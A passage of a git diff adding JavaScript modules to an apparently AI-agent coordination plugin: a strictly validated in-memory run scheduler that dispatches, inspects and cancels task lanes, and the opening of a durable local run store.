in the closed scheduler vocabulary.', + unknown_role: 'The role is not in the closed scheduler vocabulary.', + unknown_access: 'The access mode is not in the closed scheduler vocabulary.', + writer_scope_required: 'Writer lanes must declare a non-empty write_scope.', +}); + +export const RUN_SCHEDULER_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', + 'aliased_reference_denied', + 'assignment_id_unknown', + 'clock_invalid', + 'cloud_starting_ref_required', + 'credential_content_denied', + 'cursor_identity_mismatch', + 'dependency_not_allowed', + 'direct_mode_denied', + 'duplicate_assignment_id', + 'duplicate_task_id', + 'executable_content_denied', + 'exotic_prototype_denied', + 'injected_dependency_invalid', + 'invalid_clock', + 'invalid_format', + 'invalid_json_type', + 'invalid_json_value', + 'invalid_type', + 'merge_authority_denied', + 'missing_key', + 'non_enumerable_property_denied', + 'overlapping_writer_scope', + 'own_undefined_denied', + 'out_of_range', + 'proxy_denied', + 'read_only_scope_denied', + 'replay_or_fallback_denied', + 'role_access_mismatch', + 'scheduler_run_conflict', + 'scheduler_run_unknown', + 'starting_ref_forbidden_local', + 'symbol_key_denied', + 'unknown_access', + 'unknown_key', + 'unknown_provider', + 'unknown_role', + 'value_depth_exceeded', + 'writer_scope_required', +]); + +function diagnostic(value) { + const text = STRING(value ?? ''); + return text.length <= MAX_SCHEDULER_DIAGNOSTIC_BYTES + ? text + : text.slice(0, MAX_SCHEDULER_DIAGNOSTIC_BYTES); +} + +function failScheduler(code, path, message) { + fail(code, path, diagnostic(message ?? CONTENT_FREE[code] ?? 'The scheduler request failed closed.')); +} + +function assertClosedKeySet(value, allowedKeys, errorPath) { + const keys = capturedOwnKeys(value); + for (const key of keys) { + if (typeof key !== 'string') { + failScheduler('symbol_key_denied', errorPath, CONTENT_FREE.symbol_key_denied); + } + if (!capturedIncludes(allowedKeys, key)) { + failScheduler('unknown_key', `${errorPath}.${key}`, CONTENT_FREE.unknown_key); + } + } +} + +function denyForbiddenKeys(value, path) { + if (value === null || typeof value !== 'object') return; + const keys = capturedOwnKeys(value); + for (const key of keys) { + if (typeof key !== 'string') continue; + if (capturedHasOwn(FORBIDDEN_KEY_CODES, key)) { + failScheduler(FORBIDDEN_KEY_CODES[key], `${path}.${key}`, CONTENT_FREE[FORBIDDEN_KEY_CODES[key]]); + } + } + if (ARRAY_IS_ARRAY(value)) { + const length = value.length; + for (let index = 0; index < length; index += 1) { + denyForbiddenKeys(value[index], `${path}[${index}]`); + } + return; + } + for (const key of keys) { + if (typeof key === 'string') denyForbiddenKeys(value[key], `${path}.${key}`); + } +} + +function quarantineRequest(request, path, allowedKeys) { + if (request === undefined || request === null) { + failScheduler('invalid_type', path, CONTENT_FREE.invalid_type); + } + assertNotProxy(request, path); + if (typeof request !== 'object' || ARRAY_IS_ARRAY(request)) { + failScheduler('invalid_type', path, CONTENT_FREE.invalid_type); + } + assertDirectJsonClosure(request, path); + denyForbiddenKeys(request, path); + freezeData(request); + assertClosedKeySet(request, allowedKeys, path); + return request; +} + +function requiredString(object, key, path, predicate, code) { + if (!hasOwn(object, key)) failScheduler('missing_key', path, CONTENT_FREE.missing_key); + const value = ownDataValue(object, key, path); + if (typeof value !== 'string' || (predicate && !predicate(value))) { + failScheduler(code ?? 'invalid_format', path, CONTENT_FREE[code] ?? CONTENT_FREE.invalid_format); + } + return value; +} + +function optionalOwn(object, key, path) { + if (!hasOwn(object, key)) return undefined; + return ownDataValue(object, key, path); +} + +function assertTaskId(value, path) { + if (typeof value !== 'string' || !capturedTest(TASK_ID_PATTERN, value)) { + failScheduler('invalid_format', path, CONTENT_FREE.invalid_format); + } + return value; +} + +function assertEventCursor(value, path) { + if (typeof value !== 'string' || !capturedTest(EVENT_CURSOR_PATTERN, value)) { + failScheduler('invalid_format', path, CONTENT_FREE.invalid_format); + } + return value; +} + +function expectedReplyCapability(provider) { + return provider === 'dsh' || provider === 'cursor-cloud' + ? 'unsupported' + : 'same_session'; +} + +function isTerminalStatus(status) { + return capturedIncludes(TERMINAL_LANE_STATUSES, status); +} + +function identityDigest(runId, baseSha, assignments) { + const canonical = canonicalJsonStringify({ + assignments: assignments.map((lane) => ({ + access: lane.access, + assignment_id: lane.assignment_id, + model: lane.model, + provider: lane.provider, + required: lane.required, + role: lane.role, + starting_ref: lane.starting_ref, + task_id: lane.task_id, + write_scope: lane.write_scope, + })), + base_sha: baseSha, + run_id: runId, + }); + const digest = CREATE_HASH(HASH_ALGORITHM) + .update(RUN_SCHEDULER_HASH_DOMAIN, 'utf8') + .update('\n', 'utf8') + .update(STRING(RUN_SCHEDULER_VERSION), 'utf8') + .update('\n', 'utf8') + .update(canonical, 'utf8') + .digest('hex'); + return `sha256:${digest}`; +} + +function readClock(clock) { + let value; + try { + value = clock(); + } catch { + failScheduler('invalid_clock', 'clock', CONTENT_FREE.invalid_clock); + } + if (typeof value === 'string' && capturedTest(CLOCK_ISO_PATTERN, value)) return value; + if (typeof value === 'number' && NUMBER_IS_SAFE_INTEGER(value) && value >= 0) { + return new Date(value).toISOString(); + } + failScheduler('invalid_clock', 'clock', CONTENT_FREE.invalid_clock); + return null; +} + +function cloneLane(lane) { + return { + access: lane.access, + assignment_id: lane.assignment_id, + attention: lane.attention === null ? null : { ...lane.attention, options: lane.attention.options === null ? null : [...lane.attention.options] }, + cancel_confirmed: lane.cancel_confirmed, + cursor: lane.cursor, + dispatched: lane.dispatched, + fallback: false, + model: lane.model, + provider: lane.provider, + replayed: false, + required: lane.required, + role: lane.role, + starting_ref: lane.starting_ref, + status: lane.status, + task_id: lane.task_id, + unresolved: lane.unresolved === null ? null : { ...lane.unresolved }, + write_scope: [...lane.write_scope], + }; +} + +function requiredUnresolved(lanes) { + for (const lane of lanes) { + if (!lane.required) continue; + if (lane.unresolved !== null) return true; + if (lane.status === 'failed' || lane.status === 'cancelled' || lane.status === 'unresolved' + || lane.status === 'timeout' || lane.status === 'transport_lost' + || lane.status === 'environment_blocked') { + return true; + } + } + return false; +} + +function sideEffects({ dispatched = false, cancelled = false } = {}) { + const effects = {}; + for (const claim of RUN_SCHEDULER_SIDE_EFFECTS) effects[claim] = false; + effects.task_dispatched = dispatched === true; + effects.task_cancelled = cancelled === true; + return effects; +} + +function checks() { + const result = {}; + for (const name of RUN_SCHEDULER_CHECKS) result[name] = true; + return result; +} + +function receiptFor(record, { + status, created, dispatched = false, cancelled = false, observedAt, +}) { + const lanes = record.lanes.map(cloneLane); + return freezeData({ + schema: RUN_SCHEDULER_SCHEMA_ID, + version: RUN_SCHEDULER_VERSION, + run_id: record.run_id, + base_sha: record.base_sha, + status, + created, + assignment_count: lanes.length, + lanes, + checks: checks(), + side_effects: sideEffects({ dispatched, cancelled }), + wake: false, + complete_candidate_blocked: requiredUnresolved(lanes), + observed_at: observedAt, + remote_mutated: false, + }); +} + +function parseWriteScope(assignment, access, path) { + if (!hasOwn(assignment, 'write_scope')) { + failScheduler('missing_key', `${path}.write_scope`, CONTENT_FREE.missing_key); + } + const scope = ownDataValue(assignment, 'write_scope', `${path}.write_scope`); + if (access === 'read_only') { + if (!ARRAY_IS_ARRAY(scope) || IS_PROXY(scope)) { + failScheduler('invalid_type', `${path}.write_scope`, CONTENT_FREE.invalid_type); + } + if (scope.length !== 0) { + failScheduler('read_only_scope_denied', `${path}.write_scope`, CONTENT_FREE.read_only_scope_denied); + } + return capturedFreeze([]); + } + assertWriteScopePatterns(scope, `${path}.write_scope`, { minPatterns: 1, maxPatterns: SCOPE_MAX_PATTERNS }); + if (scope.length === 0) { + failScheduler('writer_scope_required', `${path}.write_scope`, CONTENT_FREE.writer_scope_required); + } + return capturedFreeze([...scope]); +} + +function parseStartingRef(assignment, provider, path) { + const present = hasOwn(assignment, 'starting_ref'); + if (present && provider !== 'cursor-cloud') { + failScheduler('starting_ref_forbidden_local', `${path}.starting_ref`, + CONTENT_FREE.starting_ref_forbidden_local); + } + if (provider === 'cursor-cloud') { + if (!present) { + failScheduler('cloud_starting_ref_required', `${path}.starting_ref`, + CONTENT_FREE.cloud_starting_ref_required); + } + const startingRef = ownDataValue(assignment, 'starting_ref', `${path}.starting_ref`); + if (!isSha40(startingRef)) { + failScheduler('invalid_format', `${path}.starting_ref`, CONTENT_FREE.invalid_format); + } + return startingRef; + } + return null; +} + +function parseAssignment(assignment, index) { + const path = `assignments[${index}]`; + assertNotProxy(assignment, path); + if (typeof assignment !== 'object' || assignment === null || ARRAY_IS_ARRAY(assignment)) { + failScheduler('invalid_type', path, CONTENT_FREE.invalid_type); + } + assertClosedKeySet(assignment, RUN_SCHEDULER_ASSIGNMENT_KEYS, path); + const assignmentId = requiredString(assignment, 'assignment_id', `${path}.assignment_id`, isAssignmentId); + const taskId = assertTaskId( + requiredString(assignment, 'task_id', `${path}.task_id`), + `${path}.task_id`, + ); + const role = requiredString(assignment, 'role', `${path}.role`); + if (!isKnownRole(role)) failScheduler('unknown_role', `${path}.role`, CONTENT_FREE.unknown_role); + const access = requiredString(assignment, 'access', `${path}.access`); + if (!isKnownAccess(access)) failScheduler('unknown_access', `${path}.access`, CONTENT_FREE.unknown_access); + if (requiredAccessForRole(role) !== access) { + failScheduler('role_access_mismatch', `${path}.access`, CONTENT_FREE.role_access_mismatch); + } + const provider = requiredString(assignment, 'provider', `${path}.provider`); + if (!isKnownProvider(provider)) { + failScheduler('unknown_provider', `${path}.provider`, + `assignments[${index}].provider is not one of ${knownProvidersJoined()}.`); + } + const model = requiredString(assignment, 'model', `${path}.model`, isModelId); + if (!hasOwn(assignment, 'required')) { + failScheduler('missing_key', `${path}.required`, CONTENT_FREE.missing_key); + } + const required = ownDataValue(assignment, 'required', `${path}.required`); + if (required !== true && required !== false) { + failScheduler('invalid_type', `${path}.required`, CONTENT_FREE.invalid_type); + } + const writeScope = parseWriteScope(assignment, access, path); + const startingRef = parseStartingRef(assignment, provider, path); + return { + assignment_id: assignmentId, + task_id: taskId, + role, + access, + provider, + model, + required, + write_scope: writeScope, + starting_ref: startingRef, + status: 'dispatched', + dispatched: false, + cursor: '0', + attention: null, + unresolved: null, + cancel_confirmed: null, + }; +} + +function parseAssignments(value) { + if (!ARRAY_IS_ARRAY(value) || IS_PROXY(value)) { + failScheduler('invalid_type', 'assignments', CONTENT_FREE.invalid_type); + } + if (value.length < MIN_ASSIGNMENTS || value.length > MAX_ASSIGNMENTS) { + failScheduler('out_of_range', 'assignments', CONTENT_FREE.out_of_range); + } + const parsed = []; + const assignmentIds = new Set(); + const taskIds = new Set(); + const writers = []; + for (let index = 0; index < value.length; index += 1) { + const lane = parseAssignment(value[index], index); + if (assignmentIds.has(lane.assignment_id)) { + failScheduler('duplicate_assignment_id', `assignments[${index}].assignment_id`, + CONTENT_FREE.duplicate_assignment_id); + } + if (taskIds.has(lane.task_id)) { + failScheduler('duplicate_task_id', `assignments[${index}].task_id`, + CONTENT_FREE.duplicate_task_id); + } + assignmentIds.add(lane.assignment_id); + taskIds.add(lane.task_id); + if (lane.access === 'writer') { + writers.push({ + assignment_id: lane.assignment_id, + index, + patterns: lane.write_scope, + }); + } + parsed.push(lane); + } + for (let left = 0; left < writers.length; left += 1) { + for (let right = left + 1; right < writers.length; right += 1) { + const leftWriter = writers[left]; + const rightWriter = writers[right]; + for (let leftIndex = 0; leftIndex < leftWriter.patterns.length; leftIndex += 1) { + for (let rightIndex = 0; rightIndex < rightWriter.patterns.length; rightIndex += 1) { + if (writerScopesOverlap(leftWriter.patterns[leftIndex], rightWriter.patterns[rightIndex])) { + failScheduler( + 'overlapping_writer_scope', + `assignments[${leftWriter.index}].write_scope`, + CONTENT_FREE.overlapping_writer_scope, + ); + } + } + } + } + } + return parsed; +} + +function parseIdList(value, path, knownIds) { + if (value === undefined) return null; + if (!ARRAY_IS_ARRAY(value) || IS_PROXY(value)) { + failScheduler('invalid_type', path, CONTENT_FREE.invalid_type); + } + if (value.length < MIN_ASSIGNMENTS || value.length > MAX_ASSIGNMENTS) { + failScheduler('out_of_range', path, CONTENT_FREE.out_of_range); + } + const ids = []; + const seen = new Set(); + for (let index = 0; index < value.length; index += 1) { + const entryPath = `${path}[${index}]`; + const assignmentId = value[index]; + if (!isAssignmentId(assignmentId)) { + failScheduler('invalid_format', entryPath, CONTENT_FREE.invalid_format); + } + if (seen.has(assignmentId)) { + failScheduler('duplicate_assignment_id', entryPath, CONTENT_FREE.duplicate_assignment_id); + } + if (knownIds && !knownIds.has(assignmentId)) { + failScheduler('assignment_id_unknown', entryPath, CONTENT_FREE.assignment_id_unknown); + } + seen.add(assignmentId); + ids.push(assignmentId); + } + return ids; +} + +function parseCursors(value, lanesById) { + if (value === undefined) return new Map(); + if (!ARRAY_IS_ARRAY(value) || IS_PROXY(value)) { + failScheduler('invalid_type', 'cursors', CONTENT_FREE.invalid_type); + } + if (value.length === 0) return new Map(); + if (value.length < MIN_ASSIGNMENTS || value.length > MAX_ASSIGNMENTS) { + failScheduler('out_of_range', 'cursors', CONTENT_FREE.out_of_range); + } + const cursors = new Map(); + for (let index = 0; index < value.length; index += 1) { + const path = `cursors[${index}]`; + const entry = value[index]; + assertNotProxy(entry, path); + if (typeof entry !== 'object' || entry === null || ARRAY_IS_ARRAY(entry)) { + failScheduler('invalid_type', path, CONTENT_FREE.invalid_type); + } + assertClosedKeySet(entry, RUN_SCHEDULER_CURSOR_KEYS, path); + const assignmentId = requiredString(entry, 'assignment_id', `${path}.assignment_id`, isAssignmentId); + const taskId = assertTaskId(requiredString(entry, 'task_id', `${path}.task_id`), `${path}.task_id`); + const eventCursor = assertEventCursor( + requiredString(entry, 'event_cursor', `${path}.event_cursor`), + `${path}.event_cursor`, + ); + const lane = lanesById.get(assignmentId); + if (!lane || lane.task_id !== taskId) { + failScheduler('cursor_identity_mismatch', path, CONTENT_FREE.cursor_identity_mismatch); + } + if (cursors.has(assignmentId)) { + failScheduler('duplicate_assignment_id', `${path}.assignment_id`, CONTENT_FREE.duplicate_assignment_id); + } + cursors.set(assignmentId, eventCursor); + } + return cursors; +} + +function pickOwn(object, key) { + if (object === null || typeof object !== 'object' || IS_PROXY(object)) return undefined; + if (!capturedHasOwn(object, key)) return undefined; + const descriptor = Object.getOwnPropertyDescriptor(object, key); + if (!descriptor || descriptor.get !== undefined || descriptor.set !== undefined) return undefined; + return descriptor.value; +} + +function boundText(value, maxBytes) { + if (typeof value !== 'string') return null; + if (capturedUtf8ByteLength(value) > maxBytes) return null; + return value; +} + +function boundOptions(value) { + if (!ARRAY_IS_ARRAY(value) || IS_PROXY(value)) return null; + const options = []; + const limit = Math.min(value.length, MAX_SCHEDULER_ATTENTION_OPTIONS); + for (let index = 0; index < limit; index += 1) { + const option = boundText(value[index], MAX_SCHEDULER_ATTENTION_OPTION_BYTES); + if (option === null) continue; + options.push(option); + } + return options.length === 0 ? null : options; +} + +function projectAttention(raw, provider) { + if (raw === undefined || raw === null) return { attention: null, invalid: false }; + if (typeof raw !== 'object' || ARRAY_IS_ARRAY(raw) || IS_PROXY(raw)) { + return { attention: null, invalid: true }; + } + const sessionId = pickOwn(raw, 'session_id'); + const questionId = pickOwn(raw, 'question_id'); + if (typeof sessionId !== 'string' || !capturedTest(SESSION_ID_PATTERN, sessionId) + || typeof questionId !== 'string' || !capturedTest(QUESTION_ID_PATTERN, questionId)) { + return { attention: null, invalid: true }; + } + return { + attention: { + session_id: sessionId, + question_id: questionId, + prompt: boundText(pickOwn(raw, 'prompt'), MAX_SCHEDULER_ATTENTION_PROMPT_BYTES), + options: boundOptions(pickOwn(raw, 'options')), + reply_capability: expectedReplyCapability(provider), + }, + invalid: false, + }; +} + +function mapInspectStatus(value) { + if (typeof value !== 'string') return null; + if (!capturedHasOwn(INSPECT_STATUS_MAP, value)) return null; + return INSPECT_STATUS_MAP[value]; +} + +function setUnresolved(lane, code) { + if (lane.unresolved === null) { + lane.unresolved = { assignment_id: lane.assignment_id, code, required: lane.required }; + } + if (code !== 'safe_cancel_unconfirmed' && lane.status !== 'cancelled') { + lane.status = 'unresolved'; + } +} + +function delegatePlan(record, lane) { + return freezeData({ + access: lane.access, + assignment_id: lane.assignment_id, + model: lane.model, + provider: lane.provider, + required: lane.required, + role: lane.role, + run_id: record.run_id, + starting_ref: lane.starting_ref, + task_id: lane.task_id, + write_scope: [...lane.write_scope], + }); +} + +function inspectPlan(record, lane, cursor) { + return freezeData({ + assignment_id: lane.assignment_id, + cursor, + run_id: record.run_id, + task_id: lane.task_id, + }); +} + +function cancelPlan(record, lane) { + return freezeData({ + assignment_id: lane.assignment_id, + run_id: record.run_id, + task_id: lane.task_id, + }); +} + +async function dispatchLane(delegateTask, record, lane) { + let result; + try { + result = await delegateTask(delegatePlan(record, lane)); + } catch { + setUnresolved(lane, 'dispatch_failed'); + return; + } + if (result === null || typeof result !== 'object' || ARRAY_IS_ARRAY(result) || IS_PROXY(result)) { + setUnresolved(lane, 'identity_mismatch'); + return; + } + const taskId = pickOwn(result, 'task_id'); + if (taskId !== lane.task_id) { + setUnresolved(lane, 'identity_mismatch'); + return; + } + const cursor = pickOwn(result, 'cursor'); + if (cursor !== undefined) { + if (typeof cursor !== 'string' || !capturedTest(EVENT_CURSOR_PATTERN, cursor)) { + setUnresolved(lane, 'identity_mismatch'); + return; + } + lane.cursor = cursor; + } + const status = mapInspectStatus(pickOwn(result, 'status')); + lane.dispatched = true; + lane.status = status ?? 'dispatched'; +} + +async function inspectLane(inspectTask, record, lane, requestedCursor) { + if (!lane.dispatched) return; + if (lane.status === 'cancelled') { + setUnresolved(lane, 'restart_denied_no_replay'); + lane.status = 'cancelled'; + return; + } + if (isTerminalStatus(lane.status) && lane.status !== 'needs_attention') return; + let result; + try { + result = await inspectTask(inspectPlan(record, lane, requestedCursor ?? lane.cursor)); + } catch { + setUnresolved(lane, 'inspect_failed'); + return; + } + if (result === null || typeof result !== 'object' || ARRAY_IS_ARRAY(result) || IS_PROXY(result)) { + setUnresolved(lane, 'inspect_failed'); + return; + } + if (pickOwn(result, 'task_id') !== lane.task_id) { + setUnresolved(lane, 'identity_mismatch'); + return; + } + const cursor = pickOwn(result, 'cursor'); + if (typeof cursor === 'string' && capturedTest(EVENT_CURSOR_PATTERN, cursor)) { + lane.cursor = cursor; + } + const mapped = mapInspectStatus(pickOwn(result, 'status')); + if (mapped !== null) lane.status = mapped; + const projected = projectAttention(pickOwn(result, 'attention'), lane.provider); + if (projected.invalid) { + setUnresolved(lane, 'attention_evidence_invalid'); + return; + } + lane.attention = projected.attention; + if (projected.attention !== null && projected.attention.reply_capability === 'unsupported') { + setUnresolved(lane, 'same_session_reply_unsupported'); + } +} + +async function cancelLane(cancelTask, record, lane) { + if (!lane.dispatched) { + lane.status = 'cancelled'; + lane.cancel_confirmed = true; + return { called: false, confirmed: true }; + } + if (lane.status === 'cancelled' && lane.cancel_confirmed === true) { + return { called: false, confirmed: true }; + } + if (isTerminalStatus(lane.status) && lane.status !== 'unresolved' && lane.status !== 'needs_attention') { + return { called: false, confirmed: lane.status === 'cancelled' }; + } + let result; + try { + result = await cancelTask(cancelPlan(record, lane)); + } catch { + lane.cancel_confirmed = false; + setUnresolved(lane, 'safe_cancel_unconfirmed'); + return { called: true, confirmed: false }; + } + const confirmed = result !== null && typeof result === 'object' && !ARRAY_IS_ARRAY(result) + && !IS_PROXY(result) + && pickOwn(result, 'task_id') === lane.task_id + && pickOwn(result, 'cancelled') === true; + if (!confirmed) { + lane.cancel_confirmed = false; + setUnresolved(lane, 'safe_cancel_unconfirmed'); + return { called: true, confirmed: false }; + } + lane.status = 'cancelled'; + lane.cancel_confirmed = true; + lane.attention = null; + if (lane.unresolved !== null && lane.unresolved.code === 'safe_cancel_unconfirmed') { + lane.unresolved = null; + } + return { called: true, confirmed: true }; +} + +function assertInjectedFunction(dependencies, key) { + const path = key; + if (!hasOwn(dependencies, key)) { + failScheduler('injected_dependency_invalid', path, CONTENT_FREE.injected_dependency_invalid); + } + const value = ownDataValue(dependencies, key, path); + if (typeof value !== 'function' || IS_PROXY(value)) { + failScheduler('injected_dependency_invalid', path, CONTENT_FREE.injected_dependency_invalid); + } + return value; +} + +function parseDependencies(dependencies) { + if (dependencies === undefined || dependencies === null) { + failScheduler('injected_dependency_invalid', 'dependencies', CONTENT_FREE.injected_dependency_invalid); + } + assertNotProxy(dependencies, 'dependencies'); + if (typeof dependencies !== 'object' || ARRAY_IS_ARRAY(dependencies)) { + failScheduler('injected_dependency_invalid', 'dependencies', CONTENT_FREE.injected_dependency_invalid); + } + let keys; + try { + keys = REFLECT_OWN_KEYS(dependencies); + } catch { + failScheduler('injected_dependency_invalid', 'dependencies', CONTENT_FREE.injected_dependency_invalid); + } + for (const key of keys) { + if (typeof key !== 'string') { + failScheduler('symbol_key_denied', 'dependencies', CONTENT_FREE.symbol_key_denied); + } + if (!capturedIncludes(RUN_SCHEDULER_DEPENDENCY_KEYS, key)) { + failScheduler('unknown_key', `dependencies.${key}`, CONTENT_FREE.unknown_key); + } + } + return capturedFreeze({ + delegateTask: assertInjectedFunction(dependencies, 'delegateTask'), + inspectTask: assertInjectedFunction(dependencies, 'inspectTask'), + cancelTask: assertInjectedFunction(dependencies, 'cancelTask'), + clock: assertInjectedFunction(dependencies, 'clock'), + }); +} + +function enqueue(queues, runId, work) { + const current = queues.get(runId) ?? Promise.resolve(); + const next = current.then(work, work); + queues.set(runId, next.catch(() => {})); + return next; +} + +export function describeRunSchedulerV1() { + return freezeData({ + schema: RUN_SCHEDULER_SCHEMA_ID, + version: RUN_SCHEDULER_VERSION, + receipt_schema: RUN_SCHEDULER_RECEIPT_SCHEMA_ID, + methods: RUN_SCHEDULER_METHODS, + dependencies: RUN_SCHEDULER_DEPENDENCY_KEYS, + statuses: RUN_SCHEDULER_STATUSES, + lane_statuses: RUN_SCHEDULER_LANE_STATUSES, + unresolved_codes: RUN_SCHEDULER_UNRESOLVED_CODES, + checks: RUN_SCHEDULER_CHECKS, + side_effects: RUN_SCHEDULER_SIDE_EFFECTS, + error_codes: RUN_SCHEDULER_ERROR_CODES, + bounds: capturedFreeze({ + assignments: capturedFreeze({ min: MIN_ASSIGNMENTS, max: MAX_ASSIGNMENTS }), + attention_prompt_bytes: MAX_SCHEDULER_ATTENTION_PROMPT_BYTES, + attention_options: MAX_SCHEDULER_ATTENTION_OPTIONS, + }), + rule: 'one_submission_idempotent_1_to_8_fanout_no_replay', + wake: false, + remote_mutated: false, + ownership: capturedFreeze({ + scheduler: 'in-memory one-submission fanout, exact identity, disjoint writers, read-only verifiers, bounded attention/cancel/restart/cursor evidence', + injected: 'delegateTask, inspectTask, cancelTask, clock', + forbidden: capturedFreeze([ + 'run_runtime', + 'artifact_bridge', + 'lifecycle', + 'supervisor', + 'server', + 'candidate_composition', + 'mailbox', + 'provider_driver', + 'task_store', + 'changelog', + 'future_work', + 'gate_a', + 'release', + ]), + }), + composed_surfaces: capturedFreeze({ + run_runtime: 'not imported; later P33 runtime injects this scheduler', + artifact_bridge: 'not imported', + lifecycle: 'not imported', + attention_batch: 'not imported; this surface only records bounded attention evidence', + public_api: 'not exposed', + gate_a: 'not claimed', + }), + }); +} + +export function createRunScheduler(dependencies) { + const injected = parseDependencies(dependencies); + const runs = new Map(); + const queues = new Map(); + + async function submitAssignments(request) { + const parsed = quarantineRequest(request, 'request', RUN_SCHEDULER_SUBMIT_KEYS); + if (!hasOwn(parsed, 'run_id')) failScheduler('missing_key', 'run_id', CONTENT_FREE.missing_key); + if (!hasOwn(parsed, 'base_sha')) failScheduler('missing_key', 'base_sha', CONTENT_FREE.missing_key); + if (!hasOwn(parsed, 'assignments')) failScheduler('missing_key', 'assignments', CONTENT_FREE.missing_key); + const runId = ownDataValue(parsed, 'run_id', 'run_id'); + assertRunId(runId, 'run_id'); + const baseSha = ownDataValue(parsed, 'base_sha', 'base_sha'); + assertBaseSha(baseSha, 'base_sha'); + const lanes = parseAssignments(ownDataValue(parsed, 'assignments', 'assignments')); + const digest = identityDigest(runId, baseSha, lanes); + + return enqueue(queues, runId, async () => { + const observedAt = readClock(injected.clock); + const existing = runs.get(runId); + if (existing) { + if (existing.digest !== digest) { + failScheduler('scheduler_run_conflict', 'run_id', CONTENT_FREE.scheduler_run_conflict); + } + return receiptFor(existing, { + status: 'idempotent', created: false, dispatched: false, observedAt, + }); + } + const record = { + run_id: runId, + base_sha: baseSha, + digest, + lanes, + }; + runs.set(runId, record); + await Promise.all(lanes.map((lane) => dispatchLane(injected.delegateTask, record, lane))); + const dispatchedCount = lanes.reduce((count, lane) => count + (lane.dispatched ? 1 : 0), 0); + const failed = lanes.some((lane) => !lane.dispatched); + return receiptFor(record, { + status: failed ? 'partial' : 'dispatched', + created: true, + dispatched: dispatchedCount > 0, + observedAt, + }); + }); + } + + async function resumeAssignments(request) { + const parsed = quarantineRequest(request, 'request', RUN_SCHEDULER_RESUME_KEYS); + if (!hasOwn(parsed, 'run_id')) failScheduler('missing_key', 'run_id', CONTENT_FREE.missing_key); + const runId = ownDataValue(parsed, 'run_id', 'run_id'); + assertRunId(runId, 'run_id'); + + return enqueue(queues, runId, async () => { + const observedAt = readClock(injected.clock); + const record = runs.get(runId); + if (!record) failScheduler('scheduler_run_unknown', 'run_id', CONTENT_FREE.scheduler_run_unknown); + const knownIds = new Set(record.lanes.map((lane) => lane.assignment_id)); + const lanesById = new Map(record.lanes.map((lane) => [lane.assignment_id, lane])); + const selected = parseIdList(optionalOwn(parsed, 'assignment_ids', 'assignment_ids'), 'assignment_ids', knownIds) + ?? [...knownIds]; + const cursors = parseCursors(optionalOwn(parsed, 'cursors', 'cursors'), lanesById); + for (const assignmentId of cursors.keys()) { + if (!selected.includes(assignmentId)) { + failScheduler('cursor_identity_mismatch', 'cursors', CONTENT_FREE.cursor_identity_mismatch); + } + } + const targets = record.lanes.filter((lane) => selected.includes(lane.assignment_id)); + await Promise.all(targets.map(async (lane) => { + await inspectLane(injected.inspectTask, record, lane, cursors.get(lane.assignment_id)); + if (lane.unresolved !== null && lane.unresolved.code === 'same_session_reply_unsupported') { + await cancelLane(injected.cancelTask, record, lane); + } + })); + return receiptFor(record, { + status: 'inspected', created: false, dispatched: false, observedAt, + }); + }); + } + + async function cancelAssignments(request) { + const parsed = quarantineRequest(request, 'request', RUN_SCHEDULER_CANCEL_KEYS); + if (!hasOwn(parsed, 'run_id')) failScheduler('missing_key', 'run_id', CONTENT_FREE.missing_key); + if (!hasOwn(parsed, 'assignment_ids')) { + failScheduler('missing_key', 'assignment_ids', CONTENT_FREE.missing_key); + } + const runId = ownDataValue(parsed, 'run_id', 'run_id'); + assertRunId(runId, 'run_id'); + + return enqueue(queues, runId, async () => { + const observedAt = readClock(injected.clock); + const record = runs.get(runId); + if (!record) failScheduler('scheduler_run_unknown', 'run_id', CONTENT_FREE.scheduler_run_unknown); + const knownIds = new Set(record.lanes.map((lane) => lane.assignment_id)); + const selected = parseIdList( + ownDataValue(parsed, 'assignment_ids', 'assignment_ids'), + 'assignment_ids', + knownIds, + ); + const targets = record.lanes.filter((lane) => selected.includes(lane.assignment_id)); + let called = false; + await Promise.all(targets.map(async (lane) => { + const result = await cancelLane(injected.cancelTask, record, lane); + if (result.called) called = true; + })); + return receiptFor(record, { + status: 'cancelled', created: false, cancelled: called, observedAt, + }); + }); + } + + return capturedFreeze({ + submitAssignments, + resumeAssignments, + cancelAssignments, + }); +} diff --git a/plugins/codex-co-engineer/mcp/v3/run-store.mjs b/plugins/codex-co-engineer/mcp/v3/run-store.mjs new file mode 100644 index 0000000..284fe44 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/run-store.mjs @@ -0,0 +1,891 @@ +// Durable local run store — exclusive ownership and idempotent submission +// (ADR 0001 identifiers `exact_identities`, `immutable_repo_base_identity`, +// `bounded_evidence`, `no_post_dispatch_fallback_or_replay`; Gate A +// `gate_a_idempotent_submission`). +// +// Additive v3 module. It persists one bounded canonical record per run in a +// caller-supplied existing private directory. Records bind the accepted P06 +// RunIdentityV1, GitIdentityV1, initial DispatchProvenanceV1 / +// DispatchTelemetryV1 facts, and request idempotency key. Exact same key plus +// canonical body returns the existing record without mutation; conflicts and +// mismatched protected identity fail closed. +// +// The store never derives filesystem paths from untrusted strings, never +// follows symlinks, never overwrites an authoritative record, and never +// echoes record contents or credentials. Restore reopens by auditing +// canonical bytes and recomputing every accepted P06 digest. There is no +// journal/reducer, scheduler, provider driver, artifact store, workspace +// provisioning, cleanup, MCP wiring, or protected-ref implementation. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { createHash, randomBytes, timingSafeEqual } from 'node:crypto'; +import { constants as fsConstants } from 'node:fs'; +import { link, open, opendir, unlink } from 'node:fs/promises'; +import path from 'node:path'; + +import { + capturedCreate, + capturedFreeze, + capturedHasOwn, + capturedIncludes, + capturedTest, + sortedCapturedKeys, +} from './grammar.mjs'; +import { canonicalJsonStringify } from './identity.mjs'; +import { + assertBoundDigest, + assertSharedGitIdentityV1, + closedObject, + fail, + snapshotRecord, + validateGitIdentityV1, + validateRunIdentityV1, +} from './protected-identity.mjs'; +import { + projectDispatchTelemetryV1, + validateDispatchProvenanceV1, + validateDispatchTelemetryV1, +} from './protected-telemetry.mjs'; +import { RunContractV1Error, assertRunId, utf8ByteLength } from './run-manifest.mjs'; +import { + SHA256_DIGEST_PATTERN, + assertDirectJsonClosure, + freezeData, +} from './selection-json.mjs'; + +export const RUN_STORE_RECORD_SCHEMA_ID = 'codex-co-engineer.run-store-record.v1'; +export const MAX_RUN_STORE_ENTRIES = 64; +export const MAX_RUN_STORE_DIRECTORY_ENTRIES = 160; +export const MAX_RUN_STORE_RECORD_BYTES = 64 * 1024; +export const MAX_RUN_STORE_FILENAME_BYTES = 80; +export const MAX_RUN_STORE_KEY_FILE_BYTES = 80; +export const 